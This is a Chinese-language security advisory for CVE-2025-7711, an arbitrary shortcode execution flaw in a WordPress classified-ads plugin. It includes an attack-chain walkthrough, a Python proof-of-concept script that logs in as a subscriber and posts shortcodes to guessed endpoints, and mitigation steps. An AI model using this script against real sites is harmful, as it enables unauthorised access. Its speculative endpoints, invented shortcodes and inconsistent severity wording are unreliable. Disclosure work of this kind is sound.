IPBUF安全漏洞报告
English
CVE-2025-7711 CVSS 5.4 中危

CVE-2025-7711 WordPress Classified Listing插件任意短代码执行漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-7711
漏洞类型
任意短代码执行
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
The Classified Listing – Classified ads & Business Directory Plugin (WordPress)

相关标签

CVE-2025-7711WordPress插件漏洞任意短代码执行Classified Listing认证绕过低权限提权do_shortcodeWordfence短代码注入WordPress安全

漏洞概述

CVE-2025-7711是WordPress插件"The Classified Listing – Classified ads & Business Directory Plugin"中的一个高危安全漏洞。该漏洞存在于所有版本直至5.0.3,由于软件在执行do_shortcode操作前未正确验证用户输入参数,导致存在短代码执行绕过问题。攻击者只需拥有WordPress网站的Subscriber(订阅者)级别账户即可利用此漏洞。订阅者角色是WordPress中最低的权限级别之一,通常仅能阅读内容而无其他管理权限。然而,此漏洞使得这类低权限用户能够执行服务器上注册的任意短代码(shortcode),从而可能实现跨站脚本攻击(XSS)、敏感信息读取、甚至在某些情况下实现远程代码执行(RCE)。该漏洞由Wordfence安全团队于2025年11月17日披露,CVSS评分5.4,属于中危级别。鉴于该插件在WordPress生态中的广泛使用,强烈建议立即采取修复措施。

技术细节

漏洞根源在于Classified Listing插件的FilterHooks.php文件第367行附近,插件在处理用户输入时调用了do_shortcode()函数,但未对传入的参数进行充分的输入验证和清理。WordPress的shortcode机制允许通过简短的标签在文章或页面中嵌入动态内容,开发者可以注册自定义shortcode来处理复杂逻辑。然而,当插件允许用户通过某种输入渠道(如表单字段、URL参数或AJAX请求)控制要执行的shortcode内容时,就产生了安全风险。攻击者可以利用这一漏洞执行任意注册的shortcode,例如:[wp_admin]可能暴露管理界面信息,[theme_options]可能泄露主题配置,某些插件注册的shortcode如[pdf_viewer]可能读取服务器文件,而自定义恶意shortcode则可能导致更严重的后果。由于这是认证类漏洞,攻击门槛相对较低,任何能创建账户的站点都面临威胁。修复后的5.0.4版本应包含对shortcode参数的严格白名单验证或禁用用户控制的shortcode执行路径。

攻击链分析

STEP 1
步骤1: 侦察与注册
攻击者在目标WordPress站点注册一个Subscriber(订阅者)级别账户,该角色通常只需要有效的邮箱即可注册,无需管理员审批。
STEP 2
步骤2: 识别漏洞端点
攻击者分析Classified Listing插件的AJAX接口、表单处理或REST API端点,寻找将用户输入传递给do_shortcode()函数的代码路径。FilterHooks.php第367行附近是关键的漏洞位置。
STEP 3
步骤3: 构造恶意请求
攻击者构造HTTP请求,在参数中注入任意shortcode标签,如[wp_admin]、[theme_options]或插件注册的其他敏感shortcode。这些shortcode可能返回管理界面信息、主题配置或执行其他危险操作。
STEP 4
步骤4: 执行短代码
由于插件未验证shortcode参数,服务器直接执行do_shortcode($user_input),触发攻击者指定的短代码逻辑。这可能导致数据泄露、权限提升或进一步的攻击链。
STEP 5
步骤5: 利用与持久化
根据执行的shortcode不同,攻击者可能获取敏感信息(数据库配置、API密钥)、在页面注入恶意JavaScript(存储型XSS)、或结合其他漏洞实现远程代码执行。攻击者可将此作为入口点进一步渗透系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-7711 PoC - Arbitrary Shortcode Execution # Affected Plugin: The Classified Listing - Classified ads & Business Directory Plugin # Affected Versions: <= 5.0.3 # Access Required: Subscriber-level account or higher import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def cve_2025_7711_poc(): """ PoC for arbitrary shortcode execution via Classified Listing plugin The vulnerability exists because do_shortcode() is called without proper validation of user-supplied input in FilterHooks.php """ session = requests.Session() # Step 1: Login as subscriber-level user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'logged-in' not in login_response.text: print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Trigger the vulnerable shortcode execution # The exact parameter depends on the vulnerable endpoint # Common patterns: # Example 1: Via AJAX endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'classified_listing_shortcode', # Example action 'shortcode': '[wp_admin]', # Arbitrary shortcode } ajax_response = session.post(ajax_url, data=exploit_data) # Example 2: Via front-end form submission form_url = f"{TARGET_URL}/listing-submission/" form_data = { 'shortcode_input': '[theme_options]', # Arbitrary shortcode 'submit': 'Submit' } form_response = session.post(form_url, data=form_data) # Example 3: Via REST API api_url = f"{TARGET_URL}/wp-json/classified-listing/v1/shortcode" api_data = { 'code': '[any_registered_shortcode]' } api_response = session.post(api_url, json=api_data) # Check for successful exploitation indicators if 'dashboard' in ajax_response.text or 'options' in form_response.text: print("[+] Vulnerability confirmed - arbitrary shortcode executed") print(f"[+] Response contains: {ajax_response.text[:500]}") return True print("[*] PoC may need adjustment based on actual vulnerable endpoint") return False if __name__ == "__main__": cve_2025_7711_poc()

影响范围

The Classified Listing Plugin < 5.0.4
The Classified Listing Plugin <= 5.0.3 (所有版本直至5.0.3均受影响)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制或禁用新用户注册功能,防止攻击者获取订阅者账户;2)审查并移除所有非必要的shortcode注册,特别是可能泄露敏感信息的shortcode;3)使用WordPress角色管理器确保订阅者角色不具有任何写权限;4)考虑暂时禁用Classified Listing插件,直至完成安全更新;5)实施HTTP请求监控,记录所有admin-ajax.php和REST API的shortcode相关请求,以便及时发现攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表